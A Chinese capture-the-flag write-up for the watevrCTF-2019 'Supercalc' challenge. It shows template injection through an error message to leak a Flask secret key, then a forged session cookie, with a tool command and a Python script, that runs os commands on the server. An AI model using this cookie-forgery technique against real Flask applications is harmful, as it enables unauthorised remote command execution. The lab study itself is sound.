您当前的位置: 首页 >  vr

暂无认证

  • 5浏览

    0关注

    92582博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[watevrCTF-2019]Supercalc

发布时间:2022-09-02 12:12:27 ,浏览量:5

目录

考点:

解题:

伪造cookie执行命令:

总结:

考点:

flask-session 伪造

key 值搜寻

解题:

进入环境,输入 1+1 会出现 2   

应该是SSTI。但是输入{{1+1}} 会出现 :You cant use ast.Set m8

提示我们语法错误。

尝试输入 1/0 看看会不会报错,

 果然,并且 把我们的错误语句 报出来了, 那么既然把我们的语句爆出来了 ,那么是否可以利用报错的回显来获取信息呢?

尝试输入1/0{{1+2}}  ,还是 Check your syntax m8

但是把 1/0 后面的内容注释掉 就可以 报错返回 1/0#3

 那他确实是 执行了 {{}} 里的内容并且返回 回来了,相比正常的ssti 也就加了个 # 。

正常思路,我们先看一下  config  

 看到 又secret key 应该是伪造 flask seesion 。

抓包也是能够看见session 的。。解密出来正是我们之前输入的 值

伪造cookie执行命令:

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(os).system("ls ")'}]}"

 如果 不行的话   可以用python 来运行此脚本 也能得到payload。

from flask.sessions import SecureCookieSessionInterface

secret_key = "你的key"

class FakeApp:
    secret_key = secret_key


fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)

插入 抓包插入seesion 里得到flag

总结:

。。。。

关注
打赏
1653961664
查看更多评论
立即登录/注册

微信扫码登录

0.4796s